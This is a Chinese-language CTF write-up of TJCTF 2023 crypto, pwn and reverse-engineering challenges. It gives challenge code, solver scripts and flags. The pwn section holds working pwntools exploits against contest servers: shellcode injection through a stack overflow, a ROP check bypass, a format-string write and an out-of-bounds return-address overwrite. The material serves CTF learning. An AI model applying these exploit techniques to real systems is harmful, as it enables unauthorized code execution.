[tjctf 2023] crypto,pwn,rev部分
三块没有一个通关的。rev差两个,crypto.pwn都差一题
Crypto
baby-rsa
给出n,e,c其中e=3,c明显小于n,这个一看就是n给大了e给小了,结果乘幂后还是比n小,直接开根号
n = 10888751337932558679268839254528888070769213269691871364279830513893837690735136476085167796992556016532860022833558342573454036339582519895539110327482234861870963870144864609120375793020750736090740376786289878349313047032806974605398302398698622431086259032473375162446051603492310000290666366063094482985737032132318650015539702912720882013509099961316767073167848437729826084449943115059234376990825162006299979071912964494228966947974497569783878833130690399504361180345909411669130822346252539746722020515514544334793717997364522192699435604525968953070151642912274210943050922313389271251805397541777241902027
e = 3
c = 2449457955338174702664398437699732241330055959255401949300755756893329242892325068765174475595370736008843435168081093064803408113260941928784442707977000585466461075146434876354981528996602615111767938231799146073229307631775810351487333
iroot(c,3)#tjctf{13480003234703410053450996463993016282899173891711201866423770445454703509988477}
ezdlp
dlp入门,没有任何弯,直接取对数
g = 8999
s = 11721478752747238947534577901795278971298347908127389421908790123
p = 12297383901740584470151577318651150337988716807049317851420298478128932232846789427512414204247770572072680737351875225891650166807323215624748551744377958007176198392481481171792078565005580006750936049744616851983231170824931892761202881982041842121034608612146861881334101500003915726821683000760611763097g^x = s mod p
flag = tjctf{x}
x = discrete_log(s,mod(g,p))#tjctf{26104478854569770948763268629079094351020764258425704346666185171631094713742516526074910325202612575130356252792856014835908436517926646322189289728462011794148513926930343382081388714077889318297349665740061482743137948635476088264751212120906948450722431680198753238856720828205708702161666784517}
iheartrsa
给了远程代码,这里e没有给出,是说当乘幂大于n时即可。
#!/usr/local/bin/python3.10 -uimport ast
import sysimport select
from Crypto.Util import number
import hashlibwith open('flag.txt') as f:flag = f.readline()raw_bin = str(bin(int('0x'+str(hashlib.sha256(flag.encode('utf-8')).hexdigest()), 16))[2:])
hsh = int('0b1' + '0' * (256 - len(raw_bin)) + raw_bin, 2)p = number.getPrime(1024)
q = number.getPrime(1024)
n = p * q
e = 0for i in range(0, 100):if pow(hsh, i) >= n:e = ibreakm = pow(hsh, e, n)
print(f'm: {m}')
print(f'n: {n}')def input_with_timeout(prompt, timeout):sys.stdout.write(prompt)sys.stdout.flush()ready, _, _ = select.select([sys.stdin], [], [], timeout)if ready:return sys.stdin.readline().rstrip('\n')raise Exceptiontry:answer = input_with_timeout('', 20)try:answer = ast.literal_eval(answer)if hsh == answer:print('you love rsa so i <3 you :DD')print(flag)else:print("im upset")except Exception as e:print("im very upset")
except Exception as e:print("\nyou've let me down :(")
flag是用的sha256加密,结果是256位前边加1位是256位,也就是e=8时刚大于n的2048位,而且大出的很小不超过8位。可以直接+n开根号爆破
from pwn import *context.log_level = 'debug'io = remote('tjc.tf', 31628)
io.recvuntil(b'm: ')
m = eval(io.recvline())
io.recvuntil(b'n: ')
n = eval(io.recvline())e = 8
while True:m += n v = iroot(m,8)if v[1]:io.sendline(str(v[0]).encode())io.recvline()print(io.recvline())break#tjctf{iloversaasmuchasilovemymom0xae701ebb}
squishy
rsa验证的题,题目有漏洞,就是输入\x00开头的串转比较时会与原串不同,但是转整后相同。直接绕过即可
#!/usr/local/bin/python3.10 -uimport sys
import select
from Crypto.Util.number import bytes_to_long, getPrimedef input_with_timeout(prompt, timeout=10):sys.stdout.write(prompt)sys.stdout.flush()ready, _, _ = select.select([sys.stdin], [], [], timeout)if ready:return sys.stdin.buffer.readline().rstrip(b'\n')raise Exceptiondef sign(a):return pow(bytes_to_long(a), d, n)def check(a, s):return bytes_to_long(a) == pow(s, e, n)e = 65537
users = {b"admin"}p = getPrime(1000)
q = getPrime(1000)
n = p * q
d = pow(e, -1, (p - 1) * (q - 1))print(n)while True:cmd = input("Cmd: ")if cmd == "new":name = input_with_timeout("Name: ")if name not in users:users.add(name)print(name, sign(name))else:print("Name taken...")elif cmd == "login":name = input_with_timeout("Name: ")sig = int(input_with_timeout("Sign: ").decode())if check(name, sig) and name in users:if name == b"admin":print("Hey how'd that happen...")print(open("flag.txt", "r").read())else:print("No admin, no flag")else:print("Invalid login.")else:print("Command not recognized...")
from pwn import *p = remote('tjc.tf', 31358)
context.log_level = 'debug'p.sendlineafter(b"Cmd: ", b'new')
p.sendlineafter(b"Name: ", b'\x00admin')
enc = int(p.recvline().decode().split(' ')[1])p.sendlineafter(b"Cmd: ", b'login')
p.sendlineafter(b"Name: ", b'admin')
p.sendlineafter(b"Sign: ", str(enc).encode())p.recvline()
print(p.recvline())
p.interactive()#tjctf{sQuIsHy-SqUiShY-beansbeansbeans!!!!!!}
e
低加密指数,部分明文已知的板子题(给出的是sage代码^表示乘幂不是异或)
from Crypto.Util.number import bytes_to_longp = random_prime(2 ^ 650)
q = random_prime(2 ^ 650)
N = p*q
e = 5
flag = open("flag.txt", "rb").read().strip()
m = bytes_to_long(b'the challenges flag is ' + flag)
c = m ^ e % N
print("N: ", N)
print("C: ", c)
print("e: ", e)
前边调用了个板子存的函数,由于flag长度未知,这里直接爆破出结果,一般flag不会太长
def coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX):"""Coppersmith revisited by Howgrave-Grahamfinds a solution if:* b|modulus, b >= modulus^beta , 0 < beta <= 1* |x| < XX"""## init#dd = pol.degree()nn = dd * mm + tt## checks#if not 0 < beta <= 1:raise ValueError("beta should belongs in (0, 1]")if not pol.is_monic():raise ArithmeticError("Polynomial must be monic.")## calculate bounds and display them## Coppersmith revisited algo for univariate## change ring of pol and xpolZ = pol.change_ring(ZZ)x = polZ.parent().gen()# compute polynomialsgg = []for ii in range(mm):for jj in range(dd):gg.append((x * XX)**jj * modulus**(mm - ii) * polZ(x * XX)**ii)for ii in range(tt):gg.append((x * XX)**ii * polZ(x * XX)**mm)# construct lattice BBB = Matrix(ZZ, nn)for ii in range(nn):for jj in range(ii+1):BB[ii, jj] = gg[ii][jj]# LLLBB = BB.LLL()# transform shortest vector in polynomialnew_pol = 0for ii in range(nn):new_pol += x**ii * BB[0, ii] / XX**ii# factor polynomialpotential_roots = new_pol.roots()print("potential roots:", potential_roots)return potential_rootsN = 853008036761402960429244085500226305898326229049062709229066738337581395441559298620215547481097485360068401045559533084692445386310317304293873811639421668853703030998563380404046228010704173349786419154143323587451196441095743638783569173579503503557413613700490069592150975220823978641111437607374483116682547794651693986279540940965888470663234601045413512056249535670198419685119952947
c = 298700332507654723773580072855784292117810966958600234446114828082727445272393622869719877676272804981941548843479760604983256960593285221389548684954375981617049731866256547635842115184695147132731165168615990125469633018271766466825307769730709868985624843944432541800012321786587028293887532995722347604510229248766961319729482167555605707032678858635163105035385522888663577785577519392
e = 5from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes ,bytes_to_long m = bytes_to_long(b'the challenges flag is ')for i in range(5,80): #爆破flag长度P.<x> = PolynomialRing(Zmod(N))f = (m*2^(i*8) + x)^e - cdd = f.degree()beta = 1epsilon = 0.05 #beta / 7mm = ceil(beta**2 / (dd * epsilon))tt = floor(dd * mm * ((1/beta) - 1))XX = ceil(N**((beta**2/dd) - epsilon))roots = coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX)print(i, roots)#tjctf{coppersword2}
merky-hell
这里代码给了很长,实际上就是个背包加密,原理是背包问题,解法是格基规约。标准的板子题,不加修饰的。加了修饰拐了任何一个弯板子人就不会了。
from math import gcd
import secrets
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import padn = 48with open('flag.txt', 'rb') as f:flag = f.read()def randint(a, b):return int(secrets.randbelow(int(b-a + 1)) + a) #[a,b]def makeKey():W = []s = 0for i in range(n):curr = 0if i != 0:curr = randint((2**i - 1) * 2**n + 1, 2**(i+n))else:curr = randint(1, 2**n)assert s < currs += currW.append(curr)q = randint((1 << (2 * n + 1)) + 1, (1 << (2 * n + 2)) - 1)r = randint(2, q - 2)r //= gcd(r, q)B = []for w in W:B.append((r * w) % q)return B, (W, q, r)def encrypt(public, m):return sum([public[i] * ((m >> (n - i - 1)) & 1) for i in range(n)]) #高位在前pub, _ = makeKey()sup_sec_num = secrets.randbits(n)msg = encrypt(pub, sup_sec_num)iv = secrets.token_bytes(16)key = pad(long_to_bytes(sup_sec_num), 16)
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
ct = cipher.encrypt(pad(flag, 16))print('B =', pub)
print('msg =', msg)
print('iv =', iv.hex())
print('ct =', ct.hex())
直接套用,最后AES解密
B = [243873082678558120886143238109, 140121004360885317204645106697, 65971149179852778782856023084, 198367501585318217337192915461, 90780110766692265488675597096, 204457189038632581915443073067, 11843936715392553537334014601, 249714131767678082951811660354, 46864685536820768096162079781, 270615453249669076126135660113, 62422813932318315478542903448, 54340894478463039745320012710, 82166063070770734716784239617, 123360554027599432641005228613, 225930829813243714315757104718, 140931881774215407739681383827, 153511648985484571193029079380, 128333502017904902954574343976, 157971994970491620681977801348, 151995940102680832680366775791, 111930343189002833676566713355, 254629522353980890137482003596, 46122603870700121747541022366, 106621126674742413122499956117, 213619593425584289387962971025, 250029395347234943835276840576, 90157964719511330175905946756, 160955342950540531541477834386, 62686435507426271661129199824, 48684199759430660574537497320, 262348080860779266021957164776, 123406793114541556721282454859, 8323348282744522342656453505, 8204832183897468999773786370, 117068364683450498818799008726, 22742733514396961388718208907, 152588763365550382579175625426, 18880903696373297518512895359, 168999842801038138048571134864, 251946102324340921852977277387, 62739530425883979430660351271, 26189963743964979633698113800, 149052997409450695582768647188, 161035032125544665156226726161, 170005203789455944372862796495, 127446446141939678833034246067, 66890847724290458515749208331, 230355717600508139033028789245]
msg = 4096661050207034370558640511465
iv = bytes.fromhex('c3599b694d81ca069cefdbd7c8f06812')
ct = bytes.fromhex('8e291e6ea5eb6f186949c8d25c5e6dc30c1869a7abf1078d26792dc846f2ffb9b5793fe92036fe55c9f8a6c61f4f516e')#背包问题
nbits = 48
A = Matrix(ZZ, nbits + 1, nbits + 1)
for i in range(nbits):A[i, i] = 1A[i, nbits] = B[i]
A[nbits,nbits] = -int(msg)res = A.LLL()
#搜索验证
for i in range(0, nbits + 1):# print solutionM = res.row(i).list()flag = Truefor m in M:if m != 0 and m != 1:flag = Falsebreakif flag:print(i, M)M = ''.join(str(j) for j in M)# remove the last bitM = M[:-1] #矩阵是n+1行,结果是n+1个值,最后一个去掉m = int(M, 2)print(m)# [1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0]
#233294031172328from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES sup_sec_num = 233294031172328
key = pad(long_to_bytes(sup_sec_num), 16)
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
flag = cipher.decrypt(ct)
#tjctf{knaps4ck-rem0v4L0-CreEEws1278bh}
keysmith
这个第一天给难住了,第二天突然想到解法
#!/usr/local/bin/python3.10 -u
from Crypto.Util.number import getPrime
flag = open("flag.txt", "r").read()po = getPrime(512)
qo = getPrime(512)
no = po * qo
eo = 65537msg = 762408622718930247757588326597223097891551978575999925580833
s = pow(msg,eo,no)print(msg,"\n",s)try:p = int(input("P:"))q = int(input("Q:"))e = int(input("E:"))
except:print("Sorry! That's incorrect!")exit(0)n = p * q
d = pow(e, -1, (p-1)*(q-1))
enc = pow(msg, e, n)
dec = pow(s, d, n)
if enc == s and dec == msg:print(flag)
else:print("Not my keys :(")
题目随机取两个素数对msg加密得到s,都给出但n没给。要求给出任意的p,q,e然后能用明文加密成密文,并能从密文解密出明文。虽然能加密解密但并不是说就是原来的p,q,e只是这个给出的点重合。
虽然题目给的 rsa加密,但不是rsa问题是dlp问题,也就是要找一个p让它对密文取对数得到e,但并不是任何素数取对数都能成功,这个要求p-1光滑,非常光滑,越滑越好。前几天一个题就是这个光滑数是4096位的,这里需要个1024+的即可。用前几天看的wp的方法用一个小素数左移然后加1,这个数减1后的因子基本全是2,小素数也很小,所以可对。
第二是要求e有逆,这个没好办法,因为生成的素数因子大多是2,所以与e有公因子也正常,爆破一个gcd==1的即可。
另外就是题目要求两个素数,对于s = m^e%n来说%p也成立,但反过来不一定成立,不过大概率成立。所以这个q要爆破一下,一般爆破几个就能成功。我试着第1个就成了。
from pwn import *
from Crypto.Util.number import isPrime
from sage.all import *io = remote('tjc.tf', 31103)
context.log_level = 'debug'msg = eval(io.recvline())
s = eval(io.recvline())#get p
for j in range(3,0x1000000):p = j*(17<<1020)+1 #p-1光滑if is_prime(p):print(j)try:e = discrete_log(s,mod(msg,p))if gcd(e, p-1) == 1:print('p:', p)print('e:', e)break except:continue for j in range(3,0x10000,2): if isPrime(j):if pow(msg,e,j*p) == s and gcd(e, j-1)==1:print('q:',j)q = j break io.sendlineafter(b"P:", str(p).encode())
io.sendlineafter(b"Q:", str(q).encode())
io.sendlineafter(b"E:", str(e).encode())io.recvline()
io.recvline()io.interactive()'''
762408622718930247757588326597223097891551978575999925580833
43702436509757326336438182135857400078603716426818931981925422334067838750896722688201044956327747464145436722723554375647305025202152215596641401129632173370466702832252018951311505962855126544117103589396071853249012072937973506348718307149005393560408005764979480512336133384533240629952292002964632084304167129283631730932046708841956167143203546297261042564183892028576329597037926676662439912510675756144635105872692936012198406113194652953723819095672636100007456088418429630842812219785533478126679038057016528800716718212490258460120278594955925322050302427902076324144950955208430361252151620337697520877568001
3
46351245749787152661103940395995082654632344613868677972472440339907438040457429422805634442629497653113554165470202695931851696141959731450191263015553586726010171368142146952569468957017122829829141545814345050784099324975063078677418067737568349822363430089878772306354398776639089550850223383829186997191661
b'tjctf{lock-smith_289378972359}'
'''
aluminum-isopropoxide
给了程序加密原码和3个密文(哪个感觉未知)
#include <iostream>
#include <cinttypes>
#include <string>
#include <filesystem>
#include <fstream>
#include <sys/stat.h>
#include <vector>
#include <cstring>
using namespace std;
using namespace std::filesystem;typedef uint8_t Byte;void make_key(Byte *S, const std::string &key)
{for (int i = 0; i < 255; i++)S[i] = i;Byte j = 0;for (int i = 0; i < 255; i++){j = (j ^ S[i] ^ key[i % key.length()]) % 256;std::swap(S[i], S[j]);}
}Byte S_box[256] = {24, 250, 101, 19, 98, 246, 141, 58, 129, 74, 227, 160, 55, 167, 62, 57, 237, 156, 32, 46, 90, 67, 22, 3, 149, 212, 36, 210, 27, 99, 168, 109, 125, 52, 173, 184, 214, 86, 112, 70, 5, 252, 6, 170, 30, 251, 103, 43, 244, 213, 211, 198, 16, 242, 65, 118, 68, 233, 148, 18, 61, 17, 48, 80, 187, 206, 72, 171, 234, 140, 116, 35, 107, 130, 113, 199, 51, 114, 232, 134, 215, 197, 31, 150, 247, 79, 26, 110, 142, 29, 9, 117, 248, 186, 105, 120, 15, 179, 207, 128, 10, 254, 83, 222, 178, 123, 100, 39, 228, 84, 93, 97, 60, 94, 180, 146, 185, 38, 203, 235, 249, 89, 226, 1, 106, 12, 216, 221, 8, 45, 13, 2, 14, 75, 49, 33, 127, 163, 111, 85, 255, 253, 166, 151, 40, 23, 194, 34, 139, 95, 145, 193, 159, 133, 69, 245, 196, 102, 91, 11, 157, 96, 47, 152, 154, 59, 181, 28, 126, 200, 158, 88, 224, 231, 41, 190, 240, 191, 188, 143, 164, 189, 217, 54, 66, 241, 209, 104, 78, 87, 82, 230, 182, 220, 53, 147, 21, 136, 76, 0, 115, 169, 71, 44, 223, 175, 92, 25, 177, 64, 201, 77, 138, 144, 204, 229, 81, 20, 183, 205, 124, 243, 4, 172, 174, 108, 132, 176, 135, 161, 162, 7, 236, 195, 238, 56, 42, 131, 218, 155, 121, 153, 239, 50, 219, 225, 37, 202, 63, 137, 192, 208, 119, 122, 165, 73};void enc(Byte *S, Byte *out, int amount)
{Byte i = 0;Byte j = 0;int ctr = 0;while (ctr < amount){i = (i * j) % 256;j = (i + S[j]) % 256;// std::swap(S[i],S[j]);Byte K = (S[i] & S[j]);out[ctr] ^= S_box[K];ctr++;}
}Byte key[256];
int main()
{std::string path = current_path();std::vector<std::string> files;for (const auto &file : directory_iterator(path))files.push_back(std::string(file.path()));for (const auto &file : files){std::cout << file << "\n";struct stat results;std::ifstream in(file);std::ofstream out(file + ".enc", std::ofstream::binary);if (stat(file.c_str(), &results) == 0){uint8_t *buffer = new uint8_t[results.st_size];in.read((char *)buffer, results.st_size);make_key(key, std::to_string(rand()));enc(key, buffer, results.st_size);out.write((char *)buffer, results.st_size);delete[] buffer;}in.close();out.close();}return 0;
}
看上去像RC4加密,不过加密流交换那步给干掉了,也就是加密流生成以后不再变。不过这似乎没关系。
用python重写一下,试3个文件(文件先后顺序不详,只能都试一下)
'''
make_key(Byte *S, const std::string &key)
{for (int i = 0; i < 255; i++)S[i] = i;Byte j = 0;for (int i = 0; i < 255; i++){j = (j ^ S[i] ^ key[i % key.length()]) % 256;std::swap(S[i], S[j]);}
}
'''
def make_key(key):S = [i for i in range(256)]#S[255]=0j = 0for i in range(256):j = (j^S[i]^key[i%len(key)])%256S[i],S[j] = S[j],S[i]return S '''
void enc(Byte *S, Byte *out, int amount)
{Byte i = 0;Byte j = 0;int ctr = 0;while (ctr < amount){i = (i * j) % 256;j = (i + S[j]) % 256;// std::swap(S[i],S[j]);Byte K = (S[i] & S[j]);out[ctr] ^= S_box[K];ctr++;}
}
'''
def enc(S, c):i,j,ctr = 0,0,0out = list(c)for _ in range(len(c)):i = (i*j)%256 j = (i + S[j])%256 K = (S[i]&S[j])out[ctr] ^= S_box[K]ctr +=1 print(bytes(out))rand = [1804289383,846930886,1681692777] #未置种子,前3个值为
S_box = [24, 250, 101, 19, 98, 246, 141, 58, 129, 74, 227, 160, 55, 167, 62, 57, 237, 156, 32, 46, 90, 67, 22, 3, 149, 212, 36, 210, 27, 99, 168, 109, 125, 52, 173, 184, 214, 86, 112, 70, 5, 252, 6, 170, 30, 251, 103, 43, 244, 213, 211, 198, 16, 242, 65, 118, 68, 233, 148, 18, 61, 17, 48, 80, 187, 206, 72, 171, 234, 140, 116, 35, 107, 130, 113, 199, 51, 114, 232, 134, 215, 197, 31, 150, 247, 79, 26, 110, 142, 29, 9, 117, 248, 186, 105, 120, 15, 179, 207, 128, 10, 254, 83, 222, 178, 123, 100, 39, 228, 84, 93, 97, 60, 94, 180, 146, 185, 38, 203, 235, 249, 89, 226, 1, 106, 12, 216, 221, 8, 45, 13, 2, 14, 75, 49, 33, 127, 163, 111, 85, 255, 253, 166, 151, 40, 23, 194, 34, 139, 95, 145, 193, 159, 133, 69, 245, 196, 102, 91, 11, 157, 96, 47, 152, 154, 59, 181, 28, 126, 200, 158, 88, 224, 231, 41, 190, 240, 191, 188, 143, 164, 189, 217, 54, 66, 241, 209, 104, 78, 87, 82, 230, 182, 220, 53, 147, 21, 136, 76, 0, 115, 169, 71, 44, 223, 175, 92, 25, 177, 64, 201, 77, 138, 144, 204, 229, 81, 20, 183, 205, 124, 243, 4, 172, 174, 108, 132, 176, 135, 161, 162, 7, 236, 195, 238, 56, 42, 131, 218, 155, 121, 153, 239, 50, 219, 225, 37, 202, 63, 137, 192, 208, 119, 122, 165, 73]for i in range(3):S = make_key(str(rand[i]).encode())enc(S, open('flag.txt.enc', 'rb').read())enc(S, open('flag1.txt.enc', 'rb').read())enc(S, open('flag2.txt.enc', 'rb').read())'''
b"\x81\xca\xa0\x8f\xcd\x8c'\xcfL\x831\xa6[\xcf\xcc>EOx\x95A\xfb@cf_v\xf4\xb7\x9fnWs\xf5"
b'c\xc6\xe2\x008\x18\xb4\x83=\x10\xa4)\x83\xa5\xb7\xd2\x85\x83:`\xaf\xfb\x8c\xb7\x17_@\xac\xcc\x91\x0f\xbe\tj'
b'\xddt\xfd\x1f[\x03\xaft\xde\xfe=Np\xbe\xd4\xa9g\xf4@\x93\\t\x97H\xe0\xaa][\xaf\xf4\xf8\xa9\x14\x88'
b'\x817\xdf\xae\xe4\x85\xf5\xc3\xf3H\xca\x19w\xe0\x8a\x92R\x1d\xa2<5t\xfc\x04>\xd2\x95\xdd\x98E\x15\x8d\xc2['
b'c;\x9d!\x11\x11f\x8f\x82\xdb_\x96\xaf\x8a\xf1~\x92\xd1\xe0\xc9\xdbt0\xd0O\xd2\xa3\x85\xe3Ktd\xb8\xc4'
b"\xdd\x89\x82>r\n}xa5\xc6\xf1\\\x91\x92\x05p\xa6\x9a:(\xfb+/\xb8'\xber\x80.\x83s\xa5&"
b'\x96f!\xfb\x93\xef\xf5 \x10\xf4\xca\xfa\xb6\x0e\x1e\x9e\x9f\xa1-\x80\x80t\xad\xbd\x1f_Y>$j\x14\x9a\x0e\xe2'
b'tjctf{flag_under_mountain_of_dust}'
b'\xca\xd8|k\x05`}\x9b\x82\x89\xc6\x12\x9d\x7f\x06\t\xbd\x1a\x15\x86\x9d\xfbz\x96\x99\xaar\x91<\x01\x82di\x9f'
'''
PWN
flip-out
flag.txt已经准备好了,就在128字节后,要求输入东西显示,这里输入够长自然就出来了
int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [rsp+4h] [rbp-BCh]FILE *stream; // [rsp+8h] [rbp-B8h]char nptr[46]; // [rsp+10h] [rbp-B0h] BYREF__int16 v7; // [rsp+3Eh] [rbp-82h]__int64 v8; // [rsp+40h] [rbp-80h]__int64 v9; // [rsp+48h] [rbp-78h]__int64 v10; // [rsp+50h] [rbp-70h]__int64 v11; // [rsp+58h] [rbp-68h]__int64 v12; // [rsp+60h] [rbp-60h]__int64 v13; // [rsp+68h] [rbp-58h]__int64 v14; // [rsp+70h] [rbp-50h]__int64 v15; // [rsp+78h] [rbp-48h]__int64 v16; // [rsp+80h] [rbp-40h]__int64 v17; // [rsp+88h] [rbp-38h]__int64 v18[6]; // [rsp+90h] [rbp-30h] BYREFv18[5] = __readfsqword(0x28u);setbuf(_bss_start, 0LL);strcpy(nptr, "Nothing to see here... Nothing to see here...");v7 = 0;v8 = 0LL;v9 = 0LL;v10 = 0LL;v11 = 0LL;v12 = 0LL;v13 = 0LL;v14 = 0LL;v15 = 0LL;v16 = 0LL;v17 = 0LL;memset(v18, 0, 25);stream = fopen("flag.txt", "r");if ( stream ){fgets((char *)v18, 25, stream);fclose(stream);printf("Input: ");__isoc99_scanf("%15s", nptr);v4 = atoi(nptr);if ( v4 <= 128 )printf("%s", &nptr[(unsigned __int8)v4]); // 输入128即可return 0;}else{printf("Cannot find flag.txt.");return 1;}
}
shelly
栈深256读入512,明显有溢出,给出栈地址,没有加载地址和libc只能用栈的话就是栈可执行,看了题确实可执行。return位置写上栈地址跳过去执行就行。
唯一的卡就就是一个检查,不过可以用第1字节是0绕过
int __cdecl main(int argc, const char **argv, const char **envp)
{char s[256]; // [rsp+0h] [rbp-100h] BYREFsetbuf(stdout, 0LL);printf("0x%lx\n", s);fgets(s, 512, stdin);for ( i = 0; i <= 510 && s[i]; ++i ) // 0绕过{if ( s[i] == 15 && s[i + 1] == 5 ){puts("nonono");exit(1);}}puts("ok");return 0;
}
from pwn import *#p = process('./chall')
p = remote('tjc.tf', 31365)
context(arch='amd64', log_level='debug')#gdb.attach(p, "b*0x401255")p.recvuntil(b'0x')
s_addr = int(p.recvline(), 16)pay = b'\x00'+ asm(shellcraft.sh())
pay = pay.ljust(0x108, b'\x90') + p64(s_addr+1)p.sendline(pay)p.interactive()
#tjctf{s4lly_s3lls_s34sh3lls_50973fce}
groppling-hook
给了原码,有后门win
#include "stdio.h"
#include <stdlib.h>void laugh()
{printf("ROP detected and denied...\n");exit(2);
}void win()
{FILE *fptr;char buf[28];// Open a file in read modefptr = fopen("flag.txt", "r");fgets(buf, 28, fptr);puts(buf);
}void pwnable()
{char buffer[10];printf(" > ");fflush(stdout);read(0, (char *)buffer, 56);/* Check ret */__asm__ __volatile__("add $0x18, %rsp;""pop %rax;""cmp $0x0401262, %rax;""jle EXIT;""cmp $0x040128a, %rax;""jg EXIT;""jmp DONE;""EXIT:""call laugh;""DONE: push %rax;");return;
}int main()
{setbuf(stdout, NULL);pwnable();return 0;
}
代码里边有数据检查(汇编部分),要求return位置只能在main范围内,所以这里改成main最后的ret在后边再写后门。
from pwn import *#p = process('./out')
p = remote('tjc.tf', 31080)
context(arch='amd64', log_level='debug')#gdb.attach(p, "b*0x401255")pay = b'\x00'*18 + flat(0x40128a, 0x4011b3) #ret绕过检查,再到后门
p.sendafter(b" > ", pay)p.recvline()
p.interactive()
formatter
看名字是格式化字符串漏洞
在堆里建块,然后对块内内容检查,通过就给flag,在输入时有printf格式化字符串漏洞。
先修改堆指针,然后在修改后的位置写上指定值,他会执行一个+2,这个不好绕过,就在输入的时候先减2
int __cdecl main(int argc, const char **argv, const char **envp)
{char s[268]; // [rsp+0h] [rbp-110h] BYREFint i; // [rsp+10Ch] [rbp-4h]setbuf(_bss_start, 0LL);xd = calloc(1uLL, 4uLL); // 403440printf("give me a string (or else): ");fgets(s, 256, stdin);printf(s);r1(s[0]);if ( win() ) // xd = 141191486{for ( i = 0; i <= 255; ++i )putchar(among[i]);}free(xd);return 0;
}
from pwn import *#p = process('./format')
p = remote('tjc.tf', 31764)
context(arch='amd64', log_level='debug')pay = fmtstr_payload(6,{0x403440 : 0x403448, 0x403448: 141191486-2}, write_size = "byte", numbwritten = 0)#gdb.attach(p, "b*0x4013ad\nc")p.sendlineafter(b"give me a string (or else): ", pay)p.recv()
p.interactive()
teenage-game
一个游戏,用wasd先择上左下右l读入当前显示的字符。但走过之后会改为点。其实就是只能改1位,等下一轮转回来就又改回来了。
int __cdecl main(int argc, const char **argv, const char **envp)
{char v3; // alint v5[2]; // [rsp+8h] [rbp-A98h] BYREFchar v6[2704]; // [rsp+10h] [rbp-A90h] BYREFsetup_terminal();setvbuf(stdout, stdout_buf, 0, 0x1000uLL);init_player(v5); // 初始值4行4列init_map((__int64)v6, v5);print_map((__int64)v6);signal(2, sigint_handler);while ( v5[0] != 29 || v5[1] != 89 ){v3 = getchar();move_player(v5, v3, (__int64)v6);print_map((__int64)v6);}puts("You win!");return 0;
}int __fastcall move_player(int *op, char input_c, __int64 map)
{__int64 v3; // raxif ( input_c == 'l' ){LODWORD(v3) = getchar();player_tile = v3;}else{*(_BYTE *)(map + 90LL * *op + op[1]) = 0x2E;switch ( input_c ){case 'w':--*op;break;case 's':++*op;break;case 'a':--op[1];break;case 'd':++op[1];break;}v3 = op[1];*(_BYTE *)(90LL * *op + map + v3) = player_tile;}return v3;
}
由于边界没有限制可以越界,当向上到0再往上走时就与move_player的返回地址重合了,算好偏移后把这里的尾字符改为后门(两个正好只关1字节),不能直着走过去,只能从下方调后,点上,就执行了。
from pwn import *#p = process('./game')
p = remote('tjc.tf', 31119)
context(arch='amd64', log_level='debug')#gdb.attach(p)
#pause()pay = b'w'*4 + b'd'*62 + b'l\xe7w'p.send(pay)#p.recvline()p.interactive()'''
0x00007ffc99076a00│+0x0000: 0x00007fbd287df040 → 0x00007fbd287e02e0 → 0x0000563b8b9c9000 → 0x00010102464c457f ← $rsp
0x00007ffc99076a08│+0x0008: 0x00007ffc99076a40 → "..................................................[...]"
0x00007ffc99076a10│+0x0010: 0x0000007700000000
0x00007ffc99076a18│+0x0018: 0x00007ffc99076a38 → 0x00000042ffffffff
0x00007ffc99076a20│+0x0020: 0x00007ffc990774d0 → 0x0000000000000001 ← $rbp
0x00007ffc99076a28│+0x0028: 0x0000563b8b9ca3df → <win+0> endbr64
0x00007ffc99076a30│+0x0030: 0x0000000000000350
0x00007ffc99076a38│+0x0038: 0x00000042ffffffff ← $rdi
'''
REV
wtmoo
给了密文,对小写大写数字分别作相应处理。
int __cdecl main(int argc, const char **argv, const char **envp)
{int i; // [rsp+8h] [rbp-58h]int v5; // [rsp+Ch] [rbp-54h]char s[32]; // [rsp+10h] [rbp-50h] BYREFchar dest[40]; // [rsp+30h] [rbp-30h] BYREFunsigned __int64 v8; // [rsp+58h] [rbp-8h]v8 = __readfsqword(0x28u);printf("Enter text: ");fgets(s, 32, _bss_start);s[strlen(s) - 1] = 0;strcpy(dest, s);v5 = strlen(s);for ( i = 0; i < v5; ++i ){if ( s[i] <= 96 || s[i] > 122 ){if ( s[i] <= 64 || s[i] > 90 ){if ( s[i] <= 47 || s[i] > 52 ){if ( s[i] <= 52 || s[i] > 57 ){if ( s[i] != 123 && s[i] != 125 ){puts("wtmoo is this guess???");printf("%c\n", (unsigned int)s[i]);return 1;}}else{s[i] -= 21;}}else{s[i] += 43;}}else{s[i] += 32;}}else{s[i] -= 60;}}if ( !strcmp(s, flag) )printf(cow, dest);elseprintf(cow, s);return 0;
}
没想到好办法逆回,采用直接爆破法
c = b"8.'8*{;8m33[o[3[3[%\")#*\}"
m = ''
for i in range(len(c)):for k in range(0x20, 0x7f):j = k if j>=97 and j<=122:j-=60 elif j>=65 and j<=90:j+=32 elif j>=48 and j<=52:j+=43 elif j>=53 and j<=57:j-=21 elif j==123 or j==125:pass else:continue if j==c[i]:m += chr(k)print(m)break
maybe
这种题第一次见。把一个python代码去空格(python的软肋,特别特别软的软)顺序打乱。这回是真逆向。
#first 3 lines are given
import random
seed = 1000
random.seed(seed)#unscramble the rest
def recur(lst):
l2[i] = (l[i]*5+(l2[i]+n)*l[i])%l[i]
l2[i] += inp[i]
flag = ""
flag+=chr((l4[i]^l3[i]))
return flag
l.append(random.randint(6, 420))
l3[0] = l2[0]%mod
for i in range(1, n):
def decrypt(inp):
for i in range(n):
assert(len(l)==n)
return lst[0]
l = []
main()
def main():
l4 = [70, 123, 100, 53, 123, 58, 105, 109, 2, 108, 116, 21, 67, 69, 238, 47, 102, 110, 114, 84, 83, 68, 113, 72, 112, 54, 121, 104, 103, 41, 124]
l3[i] = (l2[i]^((l[i]&l3[i-1]+(l3[i-1]*l[i])%mod)//2))%mod
if(len(lst)==1):
